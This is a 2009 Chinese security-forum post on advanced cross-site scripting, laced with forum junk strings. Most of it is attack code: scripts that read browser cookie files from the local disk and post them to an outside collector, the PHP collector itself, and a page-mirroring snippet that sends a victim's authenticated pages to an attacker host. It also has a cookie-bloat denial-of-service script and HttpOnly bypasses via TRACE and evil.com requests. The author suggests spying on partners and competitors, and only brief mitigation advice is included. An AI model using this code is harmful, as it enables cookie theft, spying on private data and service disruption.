XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
8 N4 m/ U6 `% L( l3 C本帖最后由 racle 于 2009-5-30 09:19 编辑
6 n$ h: p! A0 _' N  O: @3 Z% S
1 I, w4 F/ l, C7 j6 A- M, b4 rXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
6 Y! M7 x3 l2 WBy racle@tian6.com   
( E& G( H! i5 x  _http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
& X7 Q# h0 b/ D, ]4 s1 @4 b  o* E& K+ j


-------------------------------------------前言---------------------------------------------------------
# L0 D, H! f5 Q) q0 A: S+ _

$ G  Z2 P6 l; s3 z) X本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

8 E) |- q0 X- ?" J% A: R
- Q' Q' ]! p# v2 B% G如果你还未具备基础XSS知识,以下几个文章建议拜读:
+ V5 A- f4 d9 g! S  b9 }http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
' z5 j2 r: }; E+ khttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
, u5 |6 U3 x) b, U( dhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
  |- b' M% A( X" L0 `

' f3 I% K% k0 |! m
0 L0 Q- C% b8 J. h8 O* J
; q! A" H9 j1 y( ?2 Q- E, E如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
0 v. J: |2 v( L0 S+ u复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
% b5 m$ V. Z+ X, @0 _

; n5 f, V3 [$ a
. t7 l. y' x+ ?9 @# q跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
$ S4 `/ X6 E2 _


5 @0 L5 Z% Z3 O# S3 u! S( K3 V如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
" u' ]/ |+ @0 y复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
0 x& z2 w% j# A. }, D) M我们在这里重点探讨以下几个问题:
$ g* m7 V! W' f! }1 a/ p1 @/ S
, n- S9 y& K% }* w1        通过XSS,我们能实现什么?
. Y8 q/ y3 d, _5 N2 @  [8 W
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
; ?8 t7 y9 V. o' [. o
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
* F  s/ c8 d' v5 ]: _0 o
4        XSS漏洞在输出和输入两个方面怎么才能避免.

6 z8 a9 V6 T, k$ {6 B
! Z8 R+ Y8 J3 s. ^! H+ H
------------------------------------------研究正题----------------------------------------------------------
5 a0 |3 ?6 Z4 l- q3 a% b; }
' p4 u  Y  s. f+ g; |( x- g0 F

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
$ ~. I; y0 z" e复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
$ ~) w: V9 |  v! V3 l, Z! ^$ }3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.


9 f8 C7 B0 s! w: L
4 h5 ^+ T& a. v+ y- ~

! }+ x$ }' p/ K7 N( {, E(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
$ ^7 a5 E$ T: |, x
. k9 y! w3 @( \5 F/ Y+ ^) I6 }我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)


2 Y+ q8 ]1 o' \" S6 B
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

$ c7 B& C! z/ K# `+ O: F/ r

    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

: O) P2 t/ W& O3 D! g/ z4 X
0 J0 s1 H- }* o
3 N0 R' {+ R6 ?# o% Z- [! }    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
3 R1 u1 ^: ~9 q' k: a4 _! o. v
5 Z# R3 `' m) k8 k! H/ v3 z* ?& J    function $(x){return document.getElementById(x)}
5 f( P0 R( Q) d8 E: d: `0 E


    function ajax_obj(){

    var request = false;

% F; n- B: N* p/ @7 a- u# T    if(window.XMLHttpRequest) {

- E8 {! v" b1 l3 \3 X! M    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
, k; q! T6 F2 G, W& S* v

3 z  w5 ?5 @! m+ g8 m, k" @, L
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- d) s6 ^% g* }3 w' K
3 l) {/ W- i! ~# Y9 {/ {    for(var i=0; i<versions.length; i++) {

    try {
1 ^' j% K6 M" j9 F. q% \
    request = new ActiveXObject(versions);

    } catch(e) {}

    }

    }

    return request;

    }

8 l' {& N  w8 }; L  [4 u! O, l    var _x = ajax_obj();
8 x! P: V8 S  _9 V8 @4 ~
    function _7or3(_m,action,argv){
9 X/ [/ l( S/ R' ]! d
/ @# n6 P3 I9 ~$ V+ |  H    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

4 z) P. P* Z) A  i) G    return _x.responseText;

0 S8 l- u. Y: n3 T! Q! F/ a    }

$ h1 ?- C4 W7 V

% e9 s+ P! \3 P+ Q6 Z1 O+ b+ }    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
& B  ~/ l' W. `! a1 y- t
2 R/ ~% o8 I/ W* W7 E    alert(txt);

, H5 X, s$ a6 S: f7 s
2 x. @! }- P+ ~: W6 d7 A
1 Q+ x7 A7 V8 H    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
7 w/ C0 z( G( i+ j1 H( H
    function $(x){return document.getElementById(x)}

$ I" t6 `& a. @9 {

    function ajax_obj(){
) F6 J% R; ?, `7 L% o1 e1 r
5 q6 ^/ D# \/ B' H  t    var request = false;
, s# a' W; Z& p$ A- T; J
9 L0 [/ R+ L5 B    if(window.XMLHttpRequest) {
8 O5 W/ v6 g: b( S
    request = new XMLHttpRequest();
2 j  `; A; A4 r$ w$ q" o; p$ ]
    } else if(window.ActiveXObject) {

4 Q% w, j' o, B! F6 S4 c    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
: n# r# W4 }  C. a- F. M0 \4 g+ O


( S; b( [$ w8 T    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: D* L0 m- q- X; r7 |0 N
! f- }) v% h) w' j    for(var i=0; i<versions.length; i++) {

( o) m8 y3 N* d- L/ c$ e0 g    try {

9 ]' n: j# H( [) Y2 I" E! q2 J, A    request = new ActiveXObject(versions);

    } catch(e) {}

1 V, q3 `+ ?* [& _5 v    }
( r  b1 M& ?) y* ~5 n
( R7 B3 Q2 w+ u( j    }
* h3 }. a0 I3 q* R+ R- J& a
    return request;
& L+ H$ A4 w' U8 }% x
    }
% E2 m0 i9 m  l" i
    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
1 Z( s5 T, M. c0 C
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
: t# g7 V8 Q$ }; e) e
    _x.send(argv);
, D, O* N7 s/ f: I1 p" \1 D
    return _x.responseText;

0 Z$ y. `2 P6 q4 ]/ v. g    }



    var txt=_7or3("GET","1/11.txt",null);
$ g) Q' v2 F, d' Y* Y
    alert(txt);
( K, ~* v( b3 d' @, s$ b

& m7 _4 N. ~; r# B0 y, K
    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
' j0 h. M. @0 A4 n2 S9 K
& R/ Q% s7 |8 E0 N( G; c( S* W

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
& z; w0 l, g* }/ K+ u, V


2 E5 l2 T* Q1 R/ W! s+ c<?   
6 s2 @5 ^" [5 ?* G2 t9 @
/*  
" m0 X- {+ N7 H" f
+ [% r$ Q- A. J( X, v' h     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   

( R- ?9 i! P+ d+ ?     author voidloafer@gmail.com 2009-4-22   

1 Z) c" {8 b  w0 v3 h! e5 O     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

; t; l$ [0 e4 \& _* I$ }+ s*/  

  a' c/ L3 F0 e7 V0 A' v4 Sheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

( n( i1 A# s! |! |$ j0 c* K: p4 D/*  
# Z6 Y* `. U6 O& w7 W) D( [
; p1 }0 e. H/ J5 n: |6 h' O$ |" y9 V$ D     set header, so just download html file,and open it at local.  
& d* T# P8 M" b! P  U  a6 V8 l
*/  

?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
2 ^; O% P* j, F4 a4 L& }* U
     <input id="input" name="cookie" value="" type="hidden">   
0 r& d9 k! u& M* a5 h9 q4 ?
</form>   

% a& q, s" @  j% w, d8 G9 C7 j<script>   
9 F- j% G8 o) [, \4 b
function doMyAjax(user)   

; u4 _; Q0 L6 t{   
5 f4 e9 P0 K; U" \3 i4 ~% _/ ?
" z/ E: w+ \# c1 I4 K- ?# D; }$ ]var time = Math.random();   

9 k& }- Z" @! Z% B9 Z# ~# D$ o/*  
9 a1 ?& K" U% n
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
. U4 Z$ l+ P% x, k, q5 l  I; H4 C
4 o# ^5 c/ d! X! I. `- kand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
5 z: \; C( ~) s
0 V( F. y3 L# ?6 X7 s1 W+ Oand so on...  

*/  

8 z! w4 s% n0 a2 ]- ~8 g6 z2 Mvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

, U. J9 {( j: {  X4 g  S* H& WstartRequest(strPer);   
: Y  e0 _: U( i  m% ?  Z( O

  s) a# }1 [+ q+ G
( ?8 P5 ]+ {. E6 N}   

   

$ ?" I/ K6 i) Pfunction Enshellcode(txt)   

5 B" E9 k: h& N{   
6 m2 j9 f  e; F
var url=new String(txt);   
" D' u& A* n* U! c0 a
var i=0,l=0,k=0,curl="";   
5 N- L9 Z0 {' H
/ v& J# W- p; wl= url.length;   
( K, C; P0 J) d
for(;i<l;i++){   
6 N3 `/ p2 q' `6 t7 n
* r* v: J' |3 ?7 z$ K1 K2 ak=url.charCodeAt(i);   

( Y8 g0 j  N5 n( ~* S7 r' l5 j* K% v/ b% kif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

' b- T1 r& w5 O0 S, Pif (l%2){curl+="00";}else{curl+="0000";}   

7 ^; {& O, J, ^. H* y, t5 g% j  Tcurl=curl.replace(/(..)(..)/g,"%u$2$1");   

: }3 Q# z! E4 E" treturn curl;   
$ N: R2 g+ ]: e% L  T' n! M* D2 W
}   

   
. ?8 h+ G$ V" }3 g' `& x
; y3 D" q& a2 Y0 [% b   
% L0 H) ]* [9 x" l8 d
var xmlHttp;   

function createXMLHttp(){   

! t  ^( k7 F1 c+ @- w! f1 [     if(window.XMLHttpRequest){   
+ U& c( {. I) o: ^
! A2 Q& ^8 l) m4 F8 q7 ~( a8 cxmlHttp = new XMLHttpRequest();           

     }   

& f5 I1 |8 r( d9 H     else if(window.ActiveXObject){   
+ @. H2 f, b& C% v1 ^7 l
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   
4 y8 O0 g: ~8 U/ X  ^
}   
2 ]; \& n5 {% g
   

0 f6 R) v3 x" q- E' a0 p# m0 w  e3 ]function startRequest(doUrl){   
4 N1 C: T1 d! `8 O* `+ u. V" e
& {, N7 y4 H, |7 o& t  ?   
; f7 B8 J8 J, x7 B5 ^1 {: x
     createXMLHttp();   

- c+ A8 T; w2 q2 ~, Z
: `$ F3 N9 b6 T- g: ?% i
2 ]) @  A3 e1 R7 ~9 j7 F! T     xmlHttp.onreadystatechange = handleStateChange;   



     xmlHttp.open("GET", doUrl, true);   
: u9 U" D( z. e) Z3 @8 P4 A

; I8 p, }2 d9 q( M, R+ W
0 {# g1 j+ J+ R6 f: F3 T     xmlHttp.send(null);   
. q0 @& p( @  I, l8 g

! y# @9 p# V% r$ w2 E  \
, |1 z( o3 ]# R( W, h: y) U, N* S
7 O+ i; r; \! o' Q4 f/ K$ z" G
* b6 z- r4 E% n9 Z}   
4 P& g$ t* M2 p" Q6 f* Y+ D" R
# n/ W' v: U1 `$ S2 c# C% }   

function handleStateChange(){   
; }# o: ^/ d5 R, j. f( |6 c
     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   

: \8 U+ I4 @5 c0 ], E" Q0 R8 q     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        
& Q" F+ D* W$ Y: c
0 E1 f" v1 `; t9 a' g* u" U* z- J  G     }   
$ G# G/ ?, V+ M* H, {$ _! `0 j
, @* k: V( `" O* B4 j  R+ n, k6 t}   

   
3 q% b+ ^; w3 N' p0 x) M! p
# P0 p9 r& l! f! x& F. v+ S1 t8 l   

function framekxlzxPost(text)   
  \0 M* S5 \& [/ A/ C
{   

* s0 ?' [7 t  [1 f     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   

}   

+ ~: W! k' _9 f- H' i0 s$ C; [   
; U4 c* C, k0 R( ?
doMyAjax("administrator");   

   
6 e( K' w9 D; n2 P7 e
. U: r+ D$ i  c' W5 J/ F</script>
8 `" Y4 l/ X# q4 H复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
1 t7 k) ]3 Q3 V
var xmlHttp;  
2 o* {; R: J  n' h
& V* C  ?. `3 U- Y  _/ e5 c* [function createXMLHttp(){  
2 o" g' R& r6 c# |6 a- l
     if(window.XMLHttpRequest){  
7 B6 t0 C# s, \7 y8 ^( j( x% w: @) P
         xmlHttp = new XMLHttpRequest();         

     }  

     else if(window.ActiveXObject){  

2 Q  K" X$ l% y, O* Q  `4 I         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
% I: w4 i7 _, ~  [' Z( ]; w
     }  
; ~6 X* M# g4 R( p* U4 ]
# i- g' c2 B( D9 ?5 \0 E}  
# V1 O# J, T6 j' \% N$ L9 u# x7 V
5 ?/ ]/ p) c1 o( [' [% l   

function startRequest(doUrl){  

( z9 Z/ D) E) c           
  ^( m6 Q! _/ A; U; M7 ?& ^2 a
  g, @' n( W# E9 t, M4 q( ]     createXMLHttp();  
: C6 V1 h% b  U* s" r
, Y0 N, @* I9 p( E0 K4 |      
7 u9 {1 L0 T: T
     xmlHttp.onreadystatechange = handleStateChange;  
; |7 j! A- Z3 W7 D. r" Q
      
, |! H2 F) W; m& I" E
: h( V$ U% v( E- s/ P3 ^     xmlHttp.open("GET", doUrl, true);  
" O0 h% W" i" U" @
, J% S) B% d! p) @# P- Q      

     xmlHttp.send(null);  

      

      
  P8 U9 a- F& g9 d6 z' G# i
}   

   
- q' w& n9 a6 j- [
2 }9 K9 d3 v/ v9 zfunction handleStateChange(){  
7 l9 w5 o7 i$ |3 R) E  c$ V
7 f- k% ~% B& k& n; p8 Y: y: [     if (xmlHttp.readyState == 4 ){  
/ w. d2 t/ b/ E
) z5 u: }' T5 n: f1 i, _6 Y3 C             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

: i, Q* C) |& o7 y# ?& e     }  
0 i1 [% k$ |2 q* V- {+ A
}  

   

function doMyAjax(user,file)  
9 j! }8 A( J0 m3 ^! _2 t( I5 k
; {. G+ t# o. j6 e, R6 }{  

- v- N4 M- ]  |9 G2 s# i2 x5 {8 |2 Y         var time = Math.random();  
  X- ?0 @6 A8 v
) S- A! u! \5 m( `' @' f, k9 l           

7 n/ \( s9 f" D7 C         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
$ K& `" I. ?! `/ b( c: S
           
6 n$ I5 Y7 m* U
6 [; H/ Q6 @8 E! [. n8 W         startRequest(strPer);  

      

& K9 p. i6 O/ F0 i# `}  

$ e# l- H9 y+ _. A   

6 Y+ R" t+ X/ m) E/ G- Mfunction framekxlzxPost(text)  
4 ]1 W8 d9 j9 ]8 Z5 G' H
& P8 ]' P  ?% w0 T+ b{  
1 }' i" b; Z# c4 V) C8 n& R
+ I( ]' v9 R5 Q: L8 W; E# I     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
+ m) M; o& Q0 l1 D: `1 K
     alert(/ok/);  
5 R# t! S) ]. B8 ?- _) S
: ^* `8 y# H$ P4 z+ k' [}  

8 I) d. j4 L" @9 u& f9 k   

doMyAjax('administrator','administrator@alibaba[1].txt');  

   

0 _% ^. A. C( K9 a5 V4 D& B( o" a</script>

% ^$ g/ f6 w; b- J9 @& K! ~
2 a& F& U8 x5 G+ o4 a" M. b# R1 z

/ r; [  |/ x/ k- L- c0 `0 S
) _: v8 T& S( E& g3 L$ e5 ya.php
. l4 `* Z9 m9 y/ t0 _- e$ f

5 p8 L* s) n5 P6 u
<?php      
1 b# B8 D8 x2 K+ }$ G5 ]. F
   
+ A: ~) D$ ]3 W# {) E) w8 W% Q/ q4 ^
& o% b8 p  ~# x. k: w5 V$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
9 o0 T& D% n7 G9 q+ D; L+ {5 f
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

' E; \% g/ |' Y1 r  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

' b* U: e3 {3 }( k) E- Gfwrite($fp,$_GET["cookie"]);      

fclose($fp);   
. e, p3 b* h: j
?>
0 A0 K% H. }' c) H2 e0 ^复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
5 s2 u& g$ x, n4 i1 h利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
/ m2 g3 v0 F' E" |  Y1 i4 u
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
* N4 ~- c% s( Q: x* I* Z! T
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

6 t3 _: x( f5 D# ^9 |//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
9 `$ U* ?5 m6 }) G! D2 h
var image = new Image();
$ }- K3 T, P7 A! C
image.style.width = 0;
- Y- U8 W$ t, z) M4 u+ }  J
image.style.height = 0;

image.src = s;

}

3 y" Z/ I$ Q) ?. a7 V- ^; _/ QgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
% }  ?# j9 u* L$ K5 g9 n2 ]复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
' S. I0 i5 {2 Z3 T4 ^% ~& S+ @这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A

var str = "";

while (str.length < 4000){

    str += metastr;

8 Y) F3 b& D* T  Y$ o8 c$ B}
8 F; P' A2 X5 S  q
0 X  l$ w% p9 E" N! e0 e

6 q8 G7 X! C7 M2 s( Wdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

" J( {, B- P+ e( H</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
9 s6 k. y; O- d& n3 E" q( f  Z$ Vserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
8 p$ v3 Z) I6 l
3 P# @# Y0 j8 d; T2 F5 m假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
- l  B  y7 A' J, ^. q! J

) t+ @9 |% i5 [* }# Z0 [

: ]" b; e4 o) p* D% o) c! y

(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

( w1 d5 v! ~5 b5 B<!--

5 z7 L" f( Z& S, R4 S6 s. p5 Efunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
3 p* y: x3 n. l! N. e
! X- {  G' t" S$ ^% e, i& n0 |}

3 L  \; P9 u) v7 T$ f' F

! u* L% N1 `' u, E4 ^

0 t4 F' ^5 |0 afunction httpOnlyCookie() {

6 y3 }7 w- F* Q$ m1 U8 wdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
* ]$ N1 S1 c# m, j  f# e
4 R/ ^7 m  a3 n$ @! Q) i3 t5 y* }alert(document.cookie);}



//-->

</script>
+ O3 Z8 x6 i9 A) L+ a; O


<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
3 ?$ z0 N1 U/ H, h
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



. X; n+ q( s" g) evar request = false;
0 c( h  `8 Q/ c0 w% h/ W
        if(window.XMLHttpRequest) {
/ N9 o4 K& K5 Z4 `
2 S; E5 e3 d6 k: u0 [& V7 ?8 z            request = new XMLHttpRequest();

* a  J6 P5 A0 l4 k& p5 |" P, Z9 e            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');
3 W5 M+ A7 O) }) N
            }
  j- U; A/ x' j1 p1 i, Y
/ z7 ?/ h* u0 J        } else if(window.ActiveXObject) {
+ I' }% v* \8 `  E& F
) m; ]* C/ S% q( t9 r/ F            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
( A. D* B7 P' V1 }1 A
# I+ R+ f% K- f/ o( h8 Z            for(var i=0; i<versions.length; i++) {
* G# Z& U$ w/ ]
                try {
$ F  q& N; o; c. R/ X! N+ @
3 A& m6 f7 L- H9 @/ Y                    request = new ActiveXObject(versions);

                } catch(e) {}

            }
' T  V' F7 s' ]$ Y3 m+ f
" k  c5 p( ]9 C% D        }

% V2 A$ w/ i( h7 S9 [* t7 QxmlHttp=request;

4 g; u9 \7 K4 ?2 J& J( |7 N" {xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
9 ]) _- W2 E$ s) F1 L) j" x  }
7 G5 l  B( ]- e7 c; b+ `1 ixmlDoc=xmlHttp.responseText;
9 }( y" r+ V1 U- N2 w, \" M
* }  d4 ?, }; |0 n, ualert(xmlDoc);
! [; Q( G6 ^$ @' X* l1 E) {# X
</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
" \4 M2 V9 F6 m  {
7 k! l7 _; ]$ f' g+ dvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

3 w9 b" ?  w/ o, K; p$ qXmlHttp.open("GET","http://www.google.com",false);

# x7 ~3 h. S4 w$ @$ EXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
0 ~9 Q) k3 i! K5 i
6 @$ I8 ~+ w. kXmlHttp.send(null);
2 |& }! P  O9 e' T6 B2 l& J& g
var resource=xmlHttp.responseText

resource.search(/cookies/);
1 M; [# Z1 I: [, y& C- r
( h; W7 \- Z9 y: I2 n) r......................

</script>

& C! z6 `' N" e$ d4 [- d* Q& J

5 R# I. T; [* v, D" n; J
  K: a8 ?! |; m4 s5 b5 K" L- i
* w. f1 P9 v: \' t  L! ]4 j如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
, h* x: c4 W" h( K3 A  J+ S
* o9 K2 J* Z" ]; p, g[code]
1 b/ W! \5 F. S+ m. A7 z
RewriteEngine On
3 u- S- U  `6 o
" ^5 p/ w4 D9 q" MRewriteCond %{REQUEST_METHOD} ^TRACE

$ u0 s# Z! p- ZRewriteRule .* - [F]


0 q+ r0 T& v/ p- H* a
0 H! O! d$ l' ]' w8 @Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE

...

http_access deny TRACE
, e2 G& ^5 C5 \) T5 _: o9 i复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
9 a) ~( s% v: e6 E% z* f
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
7 d) H- X* Q/ d; l9 Y
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

$ S6 X' a6 U$ D</script>
; A$ L! |0 I5 j; ?# t复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

+ l. I# U2 t3 S7 p( \var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

0 L% z7 \; s6 X# E
4 f, A: Q9 o# f
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);

